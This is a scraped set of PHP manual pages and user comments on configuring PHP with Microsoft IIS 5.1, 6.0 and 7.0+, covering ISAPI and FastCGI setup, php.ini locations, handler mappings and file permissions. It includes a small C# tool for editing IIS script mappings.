Has anybody succeeded in running PHP4 and PHP5 simultaneously using ISAPI? It's possible as CGI since they'll both pick up their php.ini from where the php.exe (or php-cgi.exe) is. But as ISAPI they'll both read the same php.ini file which points both versions to the extension folder of 1 version (eg both PHP4 and PHP5 will use the PHP5 extensions) and thus fail...

Please don't ask my WHY I want both versions, I simply have to. Don't mean to start a discussion here but would like to run both PHP4 and PHP5 as ISAPI module.
carsten at enggaardblom dot dk 10-Apr-2007 09:11
Installing PHP 5.2.1 on a Windows 2K3 Server with SP1 and IIS 6.0

- was about to give me the head ache of the year! It is NOT - repeat - NOT possible to use the CGI on a server but ISAPI works perfectly. The documentation mentions both - but cgi/fastcgi is definetely a no go.

Using the PHP installer I used the IIS option, corrected the recommended php.ini file and added the extensions I wanted.

And at this point - too - you have to restart the server to make it work, a restart of only the IIS service is not sufficient.

So mark my words, use ISAPI and don't get any errors!
15-Mar-2007 07:06
This one threw me for a loop; you CAN NOT put the PHP folder in Program Files if you're installing on IIS!  I guess the space in "Program Files" throws it off, I was getting a "You must enter a valid file path" error when trying to add the PHP mapping manually.
peopls at gmail dot com 06-Oct-2006 08:20
I had a big problem with this on my server, as I was not using IUSR I was using Network Service.
Even more difficult was the fact that it was the DC on a domain which meant I got told that  it "is not from a domain listed in the Select Location dialog box, and is therefore not valid.".
The way I got around this was with the following command.
C:\Documents and Settings\Administrator>cacls C:\php /G "NT AUTHORITY\NETWORK SERVICE":F /E /T

Please note that this gives the user NETWORK SERVICE full access to the C:\php directory, but it did solve my problem!
Rex Hunt 06-Sep-2006 06:30
Found this PHP installer for IIS which uses fastcgi and apc;

http://www.iis-aid.com/iis_aid_php_installer

You get to configure your fastcgi and apc settings during installation, and it is meant to work with IIS 5.x and 6. It even setup the web server extension in IIS 6, and seems to be working ok for me so far on a dev box. Only drawbacks are it is only available with PHP 4.4.1 using fastcgi (no isapi yet).
sschefer at scheferonline dot net 28-May-2006 11:56
I have sucessfully installed PHP 4 and 5 on every windows server version since 2000 (not NT4) and XP. It is simple but there are a couple of pre-requisites that I've never seen mentioned.

1. Most of the problems folks are experiencing on the server side are .NET 2.0 induced. If you must run .NET 2.0 then you need dll's that were compiled with Visual Studio 8. The big push behind VS.8 and the Express editions is to get you off of PHP and onto C#. Keep that in mind when you develop apps.

2. You can run .NET 2.0 and Visual studio on XP with PHP and IIS if you install Visual Studio first. Visual studio installs its own dedicated version of IIS that works with .NET 2.0 but will not run php. After VS is installed go ahead and install the included XP version of IIS and configure your virtual sites with PHP. If you do it the other way around, VS will incorporate itself into the xp IIS and your PHP will probably not run.

3. Put the PHP ini file where windows wants it, in the (system root) "c:\windows" dir. If you do that,  and you are using only the ISAPI dll's, you just need to change the ini file to point to the ext directory correctly and it will run fine. I usually do all the pathing recommendations and set phprc=(php directory) too. I also leave a copy of the current ini file in the php directory root just incase php forgets to consult with the OS before looking for something.

Most of the problems with permissions are comming from .NET 2.0. You should never have to weaken security to get PHP to run.

4. Slightly out of scope but important nonetheless. If you do not run .NET 2.0, the ordering of your extensions (ie..mysql.dll, etc.) becomes far less important. You may see a hang occasionally but its rare.

Hope this helps someone.
Steve
EvilPuppetMaster 23-Mar-2006 07:39
After having recently gone through a long process of trial and error installing both php4 and php5 on a single machine under IIS. I eventually did get it working so I thought I'd share what I learnt.

Basically, as far as I can tell there is no way to get both versions working using the ISAPI dlls unfortunately. You can however get them working using one as ISAPI and the other as CGI. And probably both as CGI too, although I didn't try that.

You'll need to know how to do a manual install of PHP anyway, see the instructions for how to do that. Make sure you follow the steps about your PATH env variable and Allowing extensions on IIS 6. Keep your php.inis in the relevant php directory and make sure they are not in your windows or system32 folders. And all that other hoopla.

The crucial part is your php.ini files. The problem being that both versions will look at your PHPRC setting and get the ini file path from that. So you'll end up with both versions running off the same INI which is no good. The way around this is to use the CGI for one version and ISAPI for the other.

The ISAPI dll never seems to look in it's own directory for the ini file, but the CGI exe does. You can use that quirk to your advantage by naming the INI file for the ISAPI version 'php-isapi.ini' and setting the PHPRC environment variable to that path. Then for the CGI version keep the php.ini in the same directory as php.exe.

Then set your virtual server to use either the ISAPI module for one version, or the CGI module for the other version, and it should work. Test using phpinfo() to ensure each version is getting it's ini file from the correct place.

Basically it seems that the ISAPI module will look in the path set in PHPRC first, and choose the php-isapi.ini file. The CGI module will look in PHPRC first too, but it upon seeing no php.ini it will then move on to search it's own directory, where it finds php.ini.
Martu 23-Mar-2006 05:07
I have fixed the 404 with this message found at google groups:

-----------------------------------------------------------
I could not get PHP pages to display in IIS 6 with Windows 2003, using the
default install of the stable binaries from php.net.

Here is the solution I found.

The default install registers the .php extension as belonging to
c:\php\php.exe.  This is correct, but it's faster to use the ISAPI
extension.

To do this,
1. Open the IIS Management console
2. Expand the server, right click on "Web Sites" and click Properties
3. Open the "ISAPI Filters" foldertab
4. Click Add
5. Enter PHP in the Filter Name box.
6. Click Browse and then Browse to your php4isapi.dll.
6. Click ok -> Apply -> ok

... Once this is completed, your PHP scripts still won't run.  The problem
is that you have to define and enable PHP as a "Web Service Extension".

To do this,
1. Open the IIS Management console
2. Expand the server, and expand the "Web Services Extensions"
3. Click "Add a new Web services Extension"
4. Enter PHP in the Extension Name box.
5. In the required files box, Browse to your php directory and add
php4isapi.dll.
6. Click ok -> Apply -> ok

Last but not least, You may or may not need to do the following,
-Set the extensions path in the php.ini file if you are going to use any
extensions , i.e.  php_mssql.dll
-I had to copy the php4isapi.dll from c:\php\isapi to c:\php, YMMV
-Give the webserver user (IUSR_MACHINENAME in most cases) read and execute
access to php4isapi.dll and php4ts.dll

Good Luck,
Ejay Hire
EjayH...@hotmail.com
----------------------------------------------------------
paul_noeldner at hotmail dot com 03-Oct-2005 07:58
PROBLEM
    PHP $DOCUMENT_ROOT was not set in IIS.
ANALYSIS
    A Google search turned up a suggestion re using ISAPI instead of CGI.
SOLUTION
I did the fix per these suggested steps from Google search:
1 Downloaded PHP5 zip
2 Added ISAPI filter PHP5ISAPI.DLL named PHP
3 Changed document type .php to point at the PHP5ISAPI.DLL file instead of PHP.EXE.
RESULT
This worked - the php pages started picking up $DOCUMENT_ROOT as expected.
General suggestion: Don't waste time with CGI, use ISAPI.
Jamez 23-Sep-2005 05:29
PHP 5, IIS 5, Win XP:

One thing to note: if you run phpinfo() and the 'Configuration File (php.ini) Path' points to a directory and not the actual file (ie. C:\\windows instead of C:\\windows\\php.ini) this means that it is not using your php.ini file, it is using default settings.

After spending hours searching forums the only thing that got it to work for me was to create a new environment system variable called 'PHPRC' and set it to the path where your php.ini is located (ie C:\\PHP) - simply adding C:\\PHP to the system path variable didn't do it. You have to reboot after this change of course. I'm not sure why this isn't more documented as from my searching there are quite a few people who experience this problem... hope this helps!
webwhammy.com 15-Sep-2005 04:53
After installing PHP and running an http://localhost/test.php file in my browser, I encountered a COM Surrogate error. After some testing, I found that it was a result of un-checking the Cache ISAPI applications checkbox. Consequently, make sure that the Cache ISAPI applications checkbox has a check in it. To get to the checkbox go to:

Control Panel>Administrative Tools>Internet Information Services

When you are at the IIS window in the left navigational panel go to:

Local Computer>Web Sites>Default Web Site

Right-click on your default web site and select Properties. A Properties window appears. Select the Home Directory tab. Click on the Configuration... button. A Configuration window appears. Below the Mappings tab is the Cache ISAPI applications checkbox.

Again, make sure that the Cache ISAPI applications checkbox has a check in it. I hope this helps anybody else with a similar problem.
Mac Rinehart 07-Sep-2005 09:14
"Click on the 'Configuration' button, and choose the Application Mappings tab. Click Add and set the Executable path to the appropriate CGI file. An example PHP 5 value is: C:\php\php-cgi.exe Supply .php as the extension. Leave 'Method exclusions' blank, and check the 'Script engine' checkbox. Now, click OK a few times."

When installing PHP 5 on IIS 6.0 and Windows 2003 I encountered problems with this instruction. I  believe the root cause is that IIS requires the "scripts and executables" execute permission to be selected if the script engine has a .exe extension.

However, there may have been additional problems. Even when selecting the "scripts and executables" execute permission I continually received HTTP Header errors. The resolution was to follow the instructions for use of php5isapi.dll. The .dll extension can be run with the "scripts only" execute permission. Also remember IIS 6.0 requires that you identify Web Extensions and Allow execution of those extensions.
peter at peterguy dot com 31-Mar-2005 10:43
Installing PHP 5 on Windows Server 2003/IIS6

It has come to my attention that the link to my PHP installation guide in my posting of 07-Feb-2005 11:49 is a Bad Link.
We don't like Bad Links.

Here's the correct one:

http://www.peterguy.com/php/install_IIS6.html

Enjoy!

-Peter
Marat 16-Mar-2005 01:50
The correct required NTFS ACL's are:

- for the folder holding your PHP files:
   [Read] IUSR_servername
   [Read] IWAM_servername

-for the folder holding the PHP executables:
   [Read] IUSR_servername
Person who wants ISAPI version installer 25-Feb-2005 01:59
Supplementation to the previous hint

The environment is Windows 2003 Server/IIS 6/PHP 5.

About IIS 6 of Windows XP.

 There is no 'IISEXT.VBS'.
 It seems not to have to add it to the Web enhancing
 (It is not an accurate intelligence ).
 Moreover, when the method argument of iis6
 isapimap add is omitted, it becomes an error.
 Specify it following and specifying it.

   iis6isapimap add .PHP C:\PHP\php5isapi.dll GET,POST,HEAD

Good Luck !
Person who wants ISAPI version installer 24-Feb-2005 01:34
Hint registered to IIS 6 as ISAPI without using GUI.
(It is a machine translation from Japanese to English. )

[Method of addition to Web enhancing]

'IISEXT.VBS' is attached to IIS 6.

  <addition example>

    iisext /AddFile C:\PHP\php5isapi.dll 1 PHP 1 "PHP: Hypertext Preprocessor"

  <deletion example>

    iisext /RmFile  C:\PHP\php5isapi.dll

[Method of adding extension to Application Mappings]

To our regret, there is no good method in the standard. :-(
The source code of C# program that is registered and deleted is presented in the mapping.
(It is hoped that someone writes VBScript or the JScript version)

  <addition example>

    iis6isapimap add .PHP C:\PHP\php5isapi.dll

 < deletion example>

    iis6isapimap delete .PHP

C# source code
(Add 'System.DirectoryServices' to the reference)
------------------------------------------------------------
using System;
using System.Collections;
using System.DirectoryServices;

namespace IIS6ISAPIMAP

{
    class StartClass
    {
        public static void print_man()
        {
            Console.WriteLine("IIS6ISAPIMAP [view|add|delete] <.ext> <ISAPI DLL PATH> (METHOD LIST)");
        }

        [STAThread]
        static void Main(string[] args)
        {
            if ( args.GetLength(0) < 1 )
            {
                print_man();
                return;
            }

            System.DirectoryServices.DirectoryEntry dent
                = new DirectoryEntry("IIS://localhost/W3SVC/1/root");
            ArrayList orglist
                = new ArrayList( dent.Properties["ScriptMaps"] )  ;

            if ( args[0].ToLower() == "view" )
            {
                foreach(string s in orglist)
                {
                    Console.WriteLine(s);
                }
            }
            else if ( args[0].ToLower() == "add" )
            {
                if ( args.GetLength(0) < 3 )
                {
                    print_man();
                }
                else
                {
                    ArrayList newlist = new ArrayList();
                    string ext = args[1];
                    string path = args[2];
                    string methods = args.GetLength(0) < 4 ? "" : args[3];
                    string newmap = ext + "," + path + ",5," + methods;

                    foreach(string s in orglist)
                    {
                        string [] tokn = s.Split(',');
                        if ( tokn[0].ToLower()  != ext.ToLower() )
                        {
                            newlist.Add( s );
                        }
                    }
                    newlist.Add( newmap );

                    dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                    dent.CommitChanges();
                }
            }
            else if ( args[0].ToLower() == "delete" )
            {
                if ( args.GetLength(0) < 2 )
                {
                    print_man();
                }
                else
                {
                    ArrayList newlist = new ArrayList();
                    string ext = args[1];

                    foreach(string s in orglist)
                    {
                        string [] tokn = s.Split(',');
                        if ( tokn[0].ToLower()  != ext.ToLower() )
                        {
                            newlist.Add( s );
                        }
                    }

                    dent.Properties["ScriptMaps"].Value = newlist.ToArray();
                    dent.CommitChanges();
                }
            }
            else
            {
                print_man();
            }

            dent.Dispose();
        }
    }
}
php at at dougdossett dot com 06-Jan-2005 11:05
I had problems upgrading to 5.0.3 isapi on my IIS 6/Windows 2003 server.  Most of the instructions I found said to give the IUSR account access to various files/folders.  In my case I needed to give access to "Network Service" (not to be confused with just "Network").

1. In IIS Admin, go to Application Pools
2. Right click on the pool your site is running under and click properties.
3. Go to the Identity tab and see what user is selected.
4. Give that user permissions to your php files/directory.

Don't know if this will help anyone else, but thought I'd offer in case.
megawhizzz at netscape dot com 11-Oct-2004 04:19
Path references (e.g. for browscap.ini) in php.ini MUST be enclosed with double-quotes (") instead of single-quotes(') for PHP to load correctly under IIS
paul at heisholt dot net 30-Aug-2004 01:43
There's a bug in IIS 5.1 which may prevent you from adding an Application Extension Mapping. If the OK button remains disabled after you've entered the Executable and the Extension, try this workaround provided by Microsoft:

1. Right-click the individual Web site or the Web Sites folder, and then click Properties.
2. On the Home Directory tab, click Configuration.
3. Under Application Configuration, click Add, and then click the Mappings tab.
4. With the Add/Edit Application Extension Mapping dialog box open, click Browse to select the .exe file or the .dll file from the local path on the Web server.

Note:
You must type the path to a valid file in the Executable text box or the OK button remains unavailable. The easiest way to make sure that you enter a valid path is to select the file by using the Browse button.

5. After the path appears in the Executable text box, click in the Executable text box to initialize the path.

6. Click in the Extension space, and then type the file name extension.

Note:
- You must enter the period (.) in front of the extension in the Extension text box, or the OK button remains unavailable.

7. When the OK button becomes active, click OK to continue.

Source: http://support.microsoft.com/?id=317948

-paul-
webmaster at avalon dot de 12-Aug-2004 07:55
If you use IIS6 you have to add a new Webextension for PHP to work, otherwise you will get a "404"-Page if you try to point your browser to a "*.php" file.
In order to do this you have to open the IIS-management console and open the "local computer".
Under "webextensions" you will find allready a list with different extensions all being blocked by default.
To get PHP to work you have to manually add a new webextension. I only have a german version of IIS in front of me so forgive me if i translate the buttons wrongly.
Click on "New webextension". Enter any name you like for your new extension. Click on "Add..." and then on "Search...". If you would like to add the DLL just browse to your PHP-directory and you will find the php5ts.dll. If you search for the php-cgi.exe you have to change the filetype at the bottom to "CGI-Exe-Files". Only after changing the filetype you can see the php-cgi.exe file and choose it for the extension.
If you check the checkbox at the bottom of the "New extension" Window it will allow the newly added extension to be executed. Certainly you can change the status any time you want by clicking on "Allow".
Only after that procedure you will be able to get in touch with PHP-files.

sincerely
Juergen Sommer
venimus at mail dot com 06-Jun-2004 07:57
Under IIS6 (and earlier)
After all the installation, do not forget to add "index.php" as default page, under the Documents tab in the Web Site's Properties.
1. Right-click Web Sites, choose Properties
2. Click Documents tab
3. Click Add...
4. Type index.php, click Ok
5. Choose "index.php" from the list and move it to the top using Move Up button.
6. Make sure "Enable default content page" is checked.

Ofcourse you can add other pages as default.

For those that do not know what is this for: If you do not provide full URL and you have several pages in the directory which are in this list, the server will return the topmost of them. In case you wish to open other page of them, you have to provide its full URL. Putting "index.php" on top will make sure no other pages will be returned as default.
jorrit at gameparty dot net 01-Jun-2004 04:33
If you experience extreme high loading times, please have a look at this http://bugs.php.net/bug.php?id=28524
tstirrat AT optusnet DOT com DT au 20-Apr-2004 08:14
I am running Active Directory & IIS6.0

I found that after looking through the tutorial below i was still unable to get into my site (authentication popup, 401.3 error). I set my permissions for read & execute for IUSR_(server) and IIS_WPG for both my document root and the php directory.. no luck.

However, here's how i solved the problem. (I believe this solution is relevant to fixing the active directory issue)

1. You want to give the IUSR_* and IIS_WPG read & execute permission to the PHP DIRECTORY ONLY. (I managed to remove the credentials from my document root and it still works.

2. Open IIS Manager and go to Application Pools, then to the pool which is relevant to your site (in my case DefaultAppPool).. on this item, right click and choose properties.

3. Now navigate to the identity tab.

4. My Worker process was set to Predefined: Network Service. I changed this to Configurable: IWAM_(server name) (which if you noticed is in the user group 'IIS_WPG')

Note: i also changed the passwords for my IUSR_* and IWAM_* accounts to be sure they werent set to something easy by default. Its probably a good idea to do this too.

Hope this solves someones frustration.
giunta dot gaetano at sea-aeroportimilano dot it 12-Feb-2004 05:32
If some extensions (such as OCI or Turck mmcache in FastCGI mode) have trouble functioning with PHP+IIS, make sure that "Allow IIS to Control Password" is unchecked in the preferences panel for anonymous user access.

For more detail on the issue, read articles 216828 and 218756 in the MS Knoweledge Base.
Aaron Blew 11-Feb-2004 12:24
Under IIS 6, don't forget that you have to add all the PHP modules you'd like to run to the PHP Web Service Extension part under the IIS management console.
webmaster at riachao dot com 12-Aug-2003 06:49
In the installation with IIS 6.0, after you add the isapi extension, you need to allow the extension in the Web Services Extensions, or you 'll get a 404 error.
nbrookins at cbwstores dot com 10-Apr-2003 09:16
On Windows Server 2003 (formerly .net server) with IIS 6 (final RTM - build 3790)

 I got PHP working by using one of the tips above (thanks!).

I noted however, that I did not need to 'allow unknown Isapi applications' , and I was able to keep the configuration at 'Scripts Only' instead of 'Scripts and Executables'  - both settings are potentially more secure this way.

The only configuration that is different from how I normally configure PHP on IIS 5 is the addition of PHP as a Web Service Extension.
jdogg00 at msn dot com 03-Nov-2002 08:50
Here's a quick fyi, to get PHP installed on .Net Server w/ IIS 6 you have to use the IIS manager to enable support for different web service extentions. CGI ,ASP, ISAPI are all prohibited by default. In IIS manager click on the Web Service Extentions Folder there's options to add a new extention , prohibit all extentions etc. I chose add new extention ,in the dialog box I named it PHP , click add , in the next dialog browse to path of 'php4isapi.dll' hit ok then mark checkbox "Set extention status Allowed"  hit ok and all is good. This was done after I followed the install.txt for IIS 4 or newer .
greg at wfrmls dot com 22-Jan-2001 09:12
When using WindowsNT 4.0 and IIS, the WWW home directory needs to have Read AND Execute access rights.
Manual Installation Steps
Microsoft IIS 5.1 and IIS 6.0
Installation on Windows systems


Microsoft IIS 5.1 and IIS 6.0

This section contains instructions for manually setting up Internet Information Services (IIS) 5.1 and IIS 6.0 to work with PHP on Microsoft Windows XP and Windows Server 2003. For instructions on setting up IIS 7.0 and later versions on Windows Vista, Windows Server 2008, Windows 7 and Windows Server 2008 R2 refer to Microsoft IIS 7.0 and later.

Configuring IIS to process PHP requests

Download and install PHP in accordance to the instructions described in manual installation steps

Note:

Non-thread-safe build of PHP is recommended when using IIS. The non-thread-safe builds are available at » PHP for Windows: Binaries and Sources Releases.

Configure the CGI- and FastCGI-specific settings in php.ini file as shown below:

Example #1 CGI and FastCGI settings in php.ini

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

Download and install the » Microsoft FastCGI Extension for IIS 5.1 and 6.0. The extension is available for 32-bit and 64-bit platforms - select the right download package for your platform.

Configure the FastCGI extension to handle PHP-specific requests by running the command shown below. Replace the value of the "-path" parameter with the absolute file path to the php-cgi.exe file.

Example #2 Configuring FastCGI extension to handle PHP requests

cscript %windir%\system32\inetsrv\fcgiconfig.js -add -section:"PHP" ^
-extension:php -path:"C:\PHP\php-cgi.exe"

This command will create an IIS script mapping for *.php file extension, which will result in all URLs that end with .php being handled by FastCGI extension. Also, it will configure FastCGI extension to use the executable php-cgi.exe to process the PHP requests.

Note:

At this point the required installation and configuration steps are completed. The remaining instructions below are optional but highly recommended for achieving optimal functionality and performance of PHP on IIS.

Impersonation and file system access

It is recommended to enable FastCGI impersonation in PHP when using IIS. This is controlled by the fastcgi.impersonate directive in php.ini file. When impersonation is enabled, PHP will perform all the file system operations on behalf of the user account that has been determined by IIS authentication. This ensures that even if the same PHP process is shared across different IIS web sites, the PHP scripts in those web sites will not be able to access each others' files as long as different user accounts are used for IIS authentication on each web site.

For example IIS 5.1 and IIS 6.0, in its default configuration, has anonymous authentication enabled with built-in user account IUSR_<MACHINE_NAME> used as a default identity. This means that in order for IIS to execute PHP scripts, it is necessary to grant IUSR_<MACHINE_NAME> account read permission on those scripts. If PHP applications need to perform write operations on certain files or write files into some folders then IUSR_<MACHINE_NAME> account should have write permission to those.

To determine which user account is used by IIS anonymous authentication, follow these steps:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. Expand the list of web sites under the "Web Sites" node in the tree view, right-click on a web site that is being used and select "Properties";

  3. Click the "Directory Security" tab;

  4. Take note of a "User name:" field in the "Authentication Methods" dialog

Anonymous authenication for IIS 5.1 and IIS 6.0

To modify the permissions settings on files and folders, use the Windows Explorer user interface or icacls command.

Example #3 Configuring file access permissions

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

Set index.php as a default document in IIS

The IIS default documents are used for HTTP requests that do not specify a document name. With PHP applications, index.php usually acts as a default document. To add index.php to the list of IIS default documents, follow these steps:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. Right-click on the "Web Sites" node in the tree view and select "Properties";

  3. Click the "Documents" tab;

  4. Click the "Add..." button and enter "index.php" for the "Default content page:".

Setting index.php as default document for IIS

FastCGI and PHP Recycling configuration

Configure IIS FastCGI extension settings for recycling of PHP processes by using the commands shown below. The FastCGI setting instanceMaxRequests controls how many requests will be processed by a single php-cgi.exe process before FastCGI extension shuts it down. The PHP environment variable PHP_FCGI_MAX_REQUESTS controls how many requests a single php-cgi.exe process will handle before it recycles itself. Make sure that the value specified for FastCGI InstanceMaxRequests setting is less than or equal to the value specified for PHP_FCGI_MAX_REQUESTS.

Example #4 Configuring FastCGI and PHP recycling

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-InstanceMaxRequests:10000

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHP_FCGI_MAX_REQUESTS:10000

Configuring FastCGI timeout settings

Increase the timeout settings for FastCGI extension if there are applications that have long running PHP scripts. The two settings that control timeouts are ActivityTimeout and RequestTimeout. Refer to » Configuring FastCGI Extension for IIS 6.0 for more information about those settings.

Example #5 Configuring FastCGI timeout settings

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-ActivityTimeout:90

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-RequestTimeout:90

Changing the Location of php.ini file

PHP searches for php.ini file in several locations and it is possible to change the default locations of php.ini file by using PHPRC environment variable. To instruct PHP to load the configuration file from a custom location run the command shown below. The absolute path to the directory with php.ini file should be specified as a value of PHPRC environment variable.

Example #6 Changing the location of php.ini file

cscript %windir%\system32\inetsrv\fcgiconfig.js -set -section:"PHP" ^
-EnvironmentVars:PHPRC:"C:\Some\Directory\"

User Contributed Notes

koen dot bauwens at fracarita dot org 08-Sep-2011 12:42
When executing:

cscript %windir%\system32\inetsrv\fcgico
nfig.js -add -section:"PHP" ^
More? -extension:php -path:"C:\PHP\php-cgi.exe"

You get this response:

Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\WINDOWS\system32\inetsrv\fcgiconfig.js(1348, 5) (null): 0xFFFFFFDF

Then check if in the C:\WINDOWS\system32\inetsrv\fcgiext.ini file the next text is present:

[Types]
php=c:\php\php-cgi.exe

[c:\php\php-cgi.exe]
QueueLength=999
MaxInstances=20
InstanceMaxRequests=10000
IdleTimeout=90
RequestTimeout=90

If not, add it, worked for me!
gsaarenvirta at makeplain dot com 13-Mar-2011 04:49
A note for your reference ... I was getting error 404 "file not found when trying to browse .php" files in \inetpub\wwwroot although .html files worked fine... messed around for hours until I tried this on advice of a friend.

FYI ...

Operating system Windows Server 2003 SP2 x64
IIS v6.0
PHP v 5.3.5 nts windows x86
Microsoft C++ 2008 redistributable
no fastcgi

Followed all the manual PHP configuration instructions very carefully, set php.ini directives, gave appropriate permissions to "IUSR_(machine)", set up web extensions etc. etc.

The final fix that made everything work... renamed 'php.ini' to 'php-cgi-fcgi.ini'

Hope this saves someone hours...
crab dot crab at gmail dot com 18-Nov-2010 11:40
I am using Win 2003 Server, IIS 6, PHP 5.

If you see "You are not authorized to view this page" error when running your PHP page.

Try one more thing:
1. Right-click {C:\php} (or your PHP installation root) and select {Properties}
2. Select {Security} tab and click {Add} button
3. Enter {ComputerName/IUSR_ComputerName} as object name and press {OK}
4. Select {Read & Execute} as permissions
5. Click {Advanced} button and select {Allow inheritable permissions from the parent...} checkbox
6. Press {OK}
Anonymous 12-Oct-2010 01:49
Facts: WinXp Pro, IIS 5.1, add extension ".php" to default web site, Ok button disabled from application configuration mapping after setting the path to executable

Solution: Click inside the textbox after setting the path will enable ok button

Source: http://support.microsoft.com/?id=317948
Anonymous 14-Sep-2010 10:29
i`ve the same trouble after the install php 5.2.14-nts on IIS6 (Win2003Server)- try to open-dialog when php-file is opening...

I`ve to manual add .php in "Application configuration"  ... \system32\inetsrv\fcgiext.dll  (even this option selected in installation - "Script executable")

this solved the problem :)
Neil Plumridge 24-Aug-2010 07:00
Using WinXP/SP3, IIS5.1, I found that following the instructions added the .PHP file association to the 'Web Sites' level in the IIS Manager, but when I tried to access a PHP page my browser tried to download it.  I had to add the same .PHP file association to the 'Default Web Site' configuration too.
joseph dot dew at metso dot com 28-Jun-2010 09:44
Using PHP 5.3.2 non thread safe VC9 I had to copy the php.ini to php-cgi-fcgi.ini otherwise I just got 404 errors.
Microsoft IIS
Microsoft IIS 7.0 and later
Installation on Windows systems


Microsoft IIS 7.0 and later

This section contains instructions for manually setting up Internet Information Services (IIS) 7.0 and later to work with PHP on Microsoft Windows Vista SP1, Windows 7, Windows Server 2008 and Windows Server 2008 R2. For instructions on setting up IIS 5.1 and IIS 6.0 on Windows XP and Windows Server 2003 refer to Microsoft IIS 5.1 and IIS 6.0.

Enabling FastCGI support in IIS

FastCGI module is disabled in default installation of IIS. The steps to enable it differ based on the version of Windows being used.

To enable FastCGI support on Windows Vista SP1 and Windows 7:

  1. In the Windows Start Menu choose "Run:", type "optionalfeatures.exe" and click "Ok";

  2. In the "Windows Features" dialog expand "Internet Information Services", "World Wide Web Services", "Application Development Features" and then enable the "CGI" checkbox;

  3. Click OK and wait until the installation is complete.

Enabling FastCGI support for IIS7 on Windows Vista SP1 and Windows 7

To enable FastCGI support on Windows Server 2008 and Windows Server 2008 R2:

  1. In the Windows Start Menu choose "Run:", type "CompMgmtLauncher" and click "Ok";

  2. If the "Web Server (IIS)" role is not present under the "Roles" node, then add it by clicking "Add Roles";

  3. If the "Web Server (IIS)" role is present, then click "Add Role Services" and then enable the "CGI" checkbox under "Application Development" group;

  4. Click "Next" and then "Install" and wait for the installation to complete.

Enabling FastCGI support on Windows Server 2008 and Windows Server 2008 R2

Configuring IIS to process PHP requests

Download and install PHP in accordance to the instructions described in manual installation steps

Note:

Non-thread-safe build of PHP is recommended when using IIS. The non-thread-safe builds are available at » PHP for Windows: Binaries and Sources Releases.

Configure the CGI- and FastCGI-specific settings in php.ini file as shown below:

Example #1 CGI and FastCGI settings in php.ini

fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo=1
cgi.force_redirect = 0

Configure IIS handler mapping for PHP by using either IIS Manager user interface or a command line tool.

Using IIS Manager user interface to create a handler mapping for PHP

Follow these steps to create an IIS handler mapping for PHP in IIS Manager user interface:

  1. In the Windows Start Menu choose "Run:", type "inetmgr" and click "Ok";

  2. In the IIS Manager user interface select the server node in the "Connections" tree view;

  3. In the "Features View" page open the "Handler Mappings" feature;

    Create IIS handler mapping for PHP : Locate Handler Mappings

  4. In the "Actions" pane click "Add Module Mapping...";

  5. In the "Add Module Mapping" dialog enter the following:

    • Request path: *.php
    • Module: FastCgiModule
    • Executable: C:\[Path to PHP installation]\php-cgi.exe
    • Name: PHP_via_FastCGI

  6. Click "Request Restrictions" button and then configure the mapping to invoke handler only if request is mapped to a file or a folder;

  7. Click OK on all the dialogs to save the configuration.

Create IIS handler mapping for PHP : Add Handler Mapping

Using command line tool to create a handler mapping for PHP

Use the command shown below to create an IIS FastCGI process pool which will use php-cgi.exe executable for processing PHP requests. Replace the value of the fullPath parameter with the absolute file path to the php-cgi.exe file.

Example #2 Creating IIS FastCGI process pool

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI ^
/+[fullPath='c:\PHP\php-cgi.exe']

Configure IIS to handle PHP specific requests by running the command shown below. Replace the value of the scriptProcessor parameter with the absolute file path to the php-cgi.exe file.

Example #3 Creating handler mapping for PHP requests

%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers ^
/+[name='PHP_via_FastCGI', path='*.php',verb='*',modules='FastCgiModule',^
scriptProcessor='c:\PHP\php-cgi.exe',resourceType='Either']

This command creates an IIS handler mapping for *.php file extension, which will result in all URLs that end with .php being handled by FastCGI module.

Note:

At this point the required installation and configuration steps are completed. The remaining instructions below are optional but highly recommended for achieving optimal functionality and performance of PHP on IIS.

Impersonation and file system access

It is recommended to enable FastCGI impersonation in PHP when using IIS. This is controlled by the fastcgi.impersonate directive in php.ini file. When impersonation is enabled, PHP will perform all the file system operations on behalf of the user account that has been determined by IIS authentication. This ensures that even if the same PHP process is shared across different IIS web sites, the PHP scripts in those web sites will not be able to access each other's files as long as different user accounts are used for IIS authentication on each web site.

For example IIS 7, in its default configuration, has anonymous authentication enabled with built-in user account IUSR used as a default identity. This means that in order for IIS to execute PHP scripts, it is necessary to grant IUSR account read permission on those scripts. If PHP applications need to perform write operations on certain files or write files into some folders then IUSR account should have write permission to those.

To determine what user account is used as an anonymous identity in IIS 7 use the following command. Replace the "Default Web Site" with the name of IIS web site that you use. In the output XML configuration element look for the userName attribute.

Example #4 Determining the account used as IIS anonymous identity

%windir%\system32\inetsrv\appcmd.exe list config "Default Web Site" ^
/section:anonymousAuthentication

<system.webServer>
  <security>
    <authentication>
      <anonymousAuthentication enabled="true" userName="IUSR" />
    </authentication>
   </security>
</system.webServer>

Note:

If userName attribute is not present in the anonymousAuthentication element, or is set to an empty string, then it means that the application pool identity is used as an anonymous identity for that web site.

To modify the permissions settings on files and folders, use the Windows Explorer user interface or icacls command.

Example #5 Configuring file access permissions

icacls C:\inetpub\wwwroot\upload /grant IUSR:(OI)(CI)(M)

Set index.php as a default document in IIS

The IIS default documents are used for HTTP requests that do not specify a document name. With PHP applications, index.php usually acts as a default document. To add index.php to the list of IIS default documents, use this command:

Example #6 Set index.php as a default document in IIS

%windir%\system32\inetsrv\appcmd.exe set config ^
-section:system.webServer/defaultDocument /+"files.[value='index.php']" ^
/commit:apphost

FastCGI and PHP Recycling configuration

